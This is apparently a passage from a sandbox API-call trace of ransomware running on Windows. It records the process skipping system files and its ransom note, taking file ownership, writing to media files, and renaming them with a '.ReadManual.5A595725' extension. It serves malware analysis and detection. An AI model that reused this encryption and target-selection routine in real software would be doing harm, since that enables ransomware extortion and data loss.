psz2="vbs") returned -1 [0253.191] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.191] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.191] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.191] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" [0253.191] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.ReadManual.5A595725" [0253.191] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.ReadManual.5A595725") returned 99 [0253.191] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37386008714) returned 1 [0253.191] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png")) returned 0x20 [0253.192] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.192] GetLastError () returned 0x5 [0253.192] GetNamedSecurityInfoW () returned 0x0 [0253.193] SetNamedSecurityInfoW () returned 0x0 [0253.193] SetNamedSecurityInfoW () returned 0x0 [0253.194] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.194] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=153) returned 1 [0253.194] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x99, lpName=0x0) returned 0x1a0 [0253.194] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0253.196] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.196] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.197] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.198] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x99) returned 0x2f0000 [0253.198] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.198] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37386650510) returned 1 [0253.198] CloseHandle (hObject=0x1a0) returned 1 [0253.198] SetSecurityInfo () returned 0x5 [0253.198] SetSecurityInfo () returned 0x5 [0253.198] LocalFree (hMem=0x674d38) returned 0x0 [0253.198] CloseHandle (hObject=0x184) returned 1 [0253.199] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0253.199] lstrcpyW (in: lpString1=0x6ab914, lpString2="TitleButtonSubpicture.png" | out: lpString1="TitleButtonSubpicture.png") returned="TitleButtonSubpicture.png" [0253.199] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="RecoveryManual.html") returned 1 [0253.199] StrStrIW (lpFirst="TitleButtonSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.199] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.199] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.199] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.199] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.199] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.199] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.199] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.199] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.199] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.199] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.199] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.199] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.199] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.199] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.199] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" [0253.199] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.ReadManual.5A595725" [0253.199] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.ReadManual.5A595725") returned 105 [0253.199] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37386811492) returned 1 [0253.199] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png")) returned 0x20 [0253.200] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.200] GetLastError () returned 0x5 [0253.200] GetNamedSecurityInfoW () returned 0x0 [0253.200] SetNamedSecurityInfoW () returned 0x0 [0253.200] SetNamedSecurityInfoW () returned 0x0 [0253.201] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.201] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=132) returned 1 [0253.201] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84, lpName=0x0) returned 0x1a0 [0253.201] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0253.202] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.202] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.203] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.204] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x84) returned 0x2f0000 [0253.204] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.204] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37387276707) returned 1 [0253.204] CloseHandle (hObject=0x1a0) returned 1 [0253.204] SetSecurityInfo () returned 0x5 [0253.204] SetSecurityInfo () returned 0x5 [0253.204] LocalFree (hMem=0x674d38) returned 0x0 [0253.204] CloseHandle (hObject=0x184) returned 1 [0253.204] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0253.204] lstrcpyW (in: lpString1=0x6ab914, lpString2="Title_Page.wmv" | out: lpString1="Title_Page.wmv") returned="Title_Page.wmv" [0253.204] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="RecoveryManual.html") returned 1 [0253.204] StrStrIW (lpFirst="Title_Page.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.205] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.205] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.205] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" [0253.205] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.ReadManual.5A595725" [0253.205] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.ReadManual.5A595725") returned 94 [0253.205] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37387381144) returned 1 [0253.205] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv")) returned 0x20 [0253.205] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.205] GetLastError () returned 0x5 [0253.205] GetNamedSecurityInfoW () returned 0x0 [0253.206] SetNamedSecurityInfoW () returned 0x0 [0253.206] SetNamedSecurityInfoW () returned 0x0 [0253.207] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.207] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1741316) returned 1 [0253.207] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a9204, lpName=0x0) returned 0x1a0 [0253.207] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0253.207] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.207] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.209] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.210] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a9204) returned 0x4350000 [0253.268] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0253.272] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37394057343) returned 1 [0253.272] CloseHandle (hObject=0x1a0) returned 1 [0253.272] SetSecurityInfo () returned 0x5 [0253.272] SetSecurityInfo () returned 0x5 [0253.272] LocalFree (hMem=0x674d38) returned 0x0 [0253.272] CloseHandle (hObject=0x184) returned 1 [0253.272] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0253.272] lstrcpyW (in: lpString1=0x6ab914, lpString2="Title_Page_PAL.wmv" | out: lpString1="Title_Page_PAL.wmv") returned="Title_Page_PAL.wmv" [0253.272] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0253.272] StrStrIW (lpFirst="Title_Page_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.272] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.272] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.273] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.273] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" [0253.273] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.ReadManual.5A595725" [0253.273] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.ReadManual.5A595725") returned 98 [0253.273] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37394172797) returned 1 [0253.273] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv")) returned 0x20 [0253.273] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.273] GetLastError () returned 0x5 [0253.273] GetNamedSecurityInfoW () returned 0x0 [0253.274] SetNamedSecurityInfoW () returned 0x0 [0253.274] SetNamedSecurityInfoW () returned 0x0 [0253.275] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.275] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1901316) returned 1 [0253.275] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d0304, lpName=0x0) returned 0x1a0 [0253.275] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0253.276] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.276] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.278] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.278] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d0304) returned 0x4350000 [0253.348] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0253.353] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37402199896) returned 1 [0253.353] CloseHandle (hObject=0x1a0) returned 1 [0253.353] SetSecurityInfo () returned 0x5 [0253.353] SetSecurityInfo () returned 0x5 [0253.353] LocalFree (hMem=0x674d38) returned 0x0 [0253.353] CloseHandle (hObject=0x184) returned 1 [0253.382] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0253.382] lstrcpyW (in: lpString1=0x6ab914, lpString2="title_trans_notes.wmv" | out: lpString1="title_trans_notes.wmv") returned="title_trans_notes.wmv" [0253.382] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="RecoveryManual.html") returned 1 [0253.382] StrStrIW (lpFirst="title_trans_notes.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.382] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.382] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.382] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.382] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.383] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.383] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.383] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.383] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.383] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.383] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.383] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.383] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.383] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.383] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.383] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" [0253.383] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.ReadManual.5A595725" [0253.383] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.ReadManual.5A595725") returned 101 [0253.383] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37405166295) returned 1 [0253.383] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv")) returned 0x20 [0253.384] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.384] GetLastError () returned 0x5 [0253.384] GetNamedSecurityInfoW () returned 0x0 [0253.384] SetNamedSecurityInfoW () returned 0x0 [0253.385] SetNamedSecurityInfoW () returned 0x0 [0253.385] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.385] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=709220) returned 1 [0253.385] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xad264, lpName=0x0) returned 0x1a0 [0253.386] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0253.386] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.386] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.388] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.388] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 